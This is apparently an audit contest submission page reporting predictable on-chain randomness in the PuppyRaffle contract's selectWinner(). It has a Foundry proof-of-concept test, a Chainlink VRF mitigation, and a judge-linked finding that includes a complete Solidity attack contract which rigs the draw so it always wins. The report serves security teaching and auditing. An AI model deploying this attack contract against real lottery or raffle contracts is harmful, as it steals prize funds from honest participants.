Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak on-chain randomness in selectWinner() lets anyone predict the winner and only play when they win

niosoke

Root + Impact

The winner (and the NFT rarity) are derived from keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)). All three inputs are public or caller-controlled at the moment selectWinner() is called, and selectWinner() is permissionless. Anyone can compute the winning index in advance, and a player contract can call selectWinner() only in the exact block/call where it computes itself as the winner, guaranteeing the prize pool.

Description

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// @> uint256 winnerIndex =
// @> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];

The same pattern is reused for rarity: uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;, so the NFT rarity is equally predictable and influenceable by whoever triggers the draw.

Risk

Likelihood: High - prediction needs no privileged data; an attacker contract can evaluate the formula inside the same transaction before deciding to call selectWinner().
Impact: High - the attacker wins the 80% prize pool on demand, honest players can never win against them, and rare/legendary NFTs can be farmed deliberately.

Proof of Concept

Verified with Foundry (test passes): the winner computed off the exact same formula before calling selectWinner() matches previousWinner() after the call.

function test_WeakRandomnessWinnerPredictable() public {
// 4 players entered, raffle duration passed
vm.warp(block.timestamp + duration + 1);
uint256 predictedIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % 4;
address predictedWinner = puppyRaffle.players(predictedIndex);
puppyRaffle.selectWinner();
assertEq(puppyRaffle.previousWinner(), predictedWinner);
}

Recommended Mitigation

Use a verifiable randomness source such as Chainlink VRF, and split selectWinner() into a request step and a fulfill step:

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // request randomness from Chainlink VRF; in the fulfill callback:
+ // uint256 winnerIndex = randomWord % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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